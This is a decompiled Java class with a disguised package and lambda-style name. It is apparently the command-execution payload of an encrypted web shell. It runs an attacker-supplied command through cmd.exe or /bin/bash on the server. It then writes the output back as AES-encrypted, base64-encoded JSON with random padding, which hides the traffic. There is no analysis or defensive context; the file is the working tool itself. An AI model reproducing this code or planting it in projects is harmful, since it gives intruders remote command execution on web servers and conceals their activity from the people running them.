package com.oracle.qb.jnbp; import java.io.BufferedReader; import java.io.File; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.charset.Charset; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Random; import java.util.UUID; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpSession; public class RqFl$$Lambda$1 { public static String cmd; private ServletRequest Request; private ServletResponse Response; private HttpSession Session; private byte[] Encrypt(byte[] var1) throws Exception { byte[] var2 = this.Session.getAttribute("u").toString().getBytes("utf-8"); Cipher var3 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var3.init(1, new SecretKeySpec(var2, "AES")); return var3.doFinal(var1); } private String buildJson(Map var1, boolean var2) throws Exception { StringBuilder var3 = new StringBuilder(); String var4 = System.getProperty("java.version"); var3.append("{"); Iterator var5 = var1.keySet().iterator(); while(var5.hasNext()) { String var6 = (String)var5.next(); var3.append("\"" + var6 + "\":\""); String var7 = (String)var1.get(var6); if (var2) { Class var8; Object var9; if (var4.compareTo("1.9") >= 0) { var8 = Class.forName("java.util.Base64"); var9 = var8.getMethod("getEncoder", (Class[])null).invoke(var8, (Object[])null); var7 = (String)var9.getClass().getMethod("encodeToString", byte[].class).invoke(var9, var7.getBytes("UTF-8")); } else { var8 = Class.forName("sun.misc.BASE64Encoder"); var9 = var8.newInstance(); var7 = (String)var9.getClass().getMethod("encode", byte[].class).invoke(var9, var7.getBytes("UTF-8")); var7 = var7.replace("\n", "").replace("\r", ""); } } var3.append(var7); var3.append("\","); } if (var3.toString().endsWith(",")) { var3.setLength(var3.length() - 1); } var3.append("}"); return var3.toString(); } private String getRandomString() { int var1 = (new Random()).nextInt(36) + 1; return UUID.randomUUID().toString().substring(var1); } private String RunCMD(String var1) throws Exception { Charset var2 = Charset.forName(System.getProperty("sun.jnu.encoding")); StringBuilder var3 = new StringBuilder(); if (var1 != null && var1.length() > 0) { Process var4; if (System.getProperty("os.name").toLowerCase().contains("windows")) { var4 = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", var1}); } else if (var1.startsWith("!") && var1.contains(" ")) { var1 = var1.substring(1); String var8 = var1.substring(0, var1.indexOf(" ")); String var6 = var1.substring(var1.indexOf(" ") + 1); var4 = Runtime.getRuntime().exec(new String[]{var8, "-c", var6}); } else if (var1.startsWith("@")) { var1 = var1.substring(1); var4 = Runtime.getRuntime().exec(var1); } else { File var5 = new File("/bin/bash"); if (!var5.exists()) { var4 = Runtime.getRuntime().exec(var1); } else { var4 = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", var1}); } } Thread.sleep(200L); InputStream var9; if (var4.getErrorStream().available() != 0) { var9 = var4.getErrorStream(); } else { var9 = var4.getInputStream(); } BufferedReader var10 = new BufferedReader(new InputStreamReader(var9, "GB2312")); for(String var7 = var10.readLine(); var7 != null; var7 = var10.readLine()) { var3.append(var7).append("\n"); } } return new String(var3.toString().getBytes(var2)); } public boolean equals(Object var1) { boolean var2 = false; HashMap var3 = new HashMap(); boolean var14 = false; ServletOutputStream var22; label118: { label119: { try { var14 = true; if (var1.getClass().toString().contains("PageContext")) { this.Response = (ServletResponse)var1.getClass().getDeclaredMethod("getResponse", (Class[])null).invoke(var1); this.Session = (HttpSession)var1.getClass().getDeclaredMethod("getSession", (Class[])null).invoke(var1); var2 = true; } else { this.Session = (HttpSession)((Object[])((Object[])var1))[0]; this.Response = (ServletResponse)((Object[])((Object[])var1))[1]; } this.Response.setContentType("application/octet-stream"); this.Response.setCharacterEncoding("UTF-8"); if (var2) { Object var4 = Class.forName("javax.servlet.jsp.PageContext").getMethod("getOut").invoke(var1); var4.getClass().getMethod("clear").invoke(var4); } var3.put("msg", this.RunCMD(cmd)); var14 = false; break label118; } catch (Exception var19) { var3.put("msg", var19.getMessage()); var14 = false; } catch (Throwable var20) { var3.put("msg", var20.toString()); var14 = false; break label119; } finally { if (var14) { try { var3.put("status", "success"); var3.put("random", this.getRandomString() + this.getRandomString()); ServletOutputStream var6 = this.Response.getOutputStream(); var6.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8"))); var6.flush(); var6.close(); } catch (Exception var15) { var15.printStackTrace(); } } } try { var3.put("status", "success"); var3.put("random", this.getRandomString() + this.getRandomString()); var22 = this.Response.getOutputStream(); var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8"))); var22.flush(); var22.close(); } catch (Exception var17) { var17.printStackTrace(); } return true; } try { var3.put("status", "success"); var3.put("random", this.getRandomString() + this.getRandomString()); var22 = this.Response.getOutputStream(); var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8"))); var22.flush(); var22.close(); } catch (Exception var16) { var16.printStackTrace(); } return true; } try { var3.put("status", "success"); var3.put("random", this.getRandomString() + this.getRandomString()); var22 = this.Response.getOutputStream(); var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8"))); var22.flush(); var22.close(); } catch (Exception var18) { var18.printStackTrace(); } return true; } }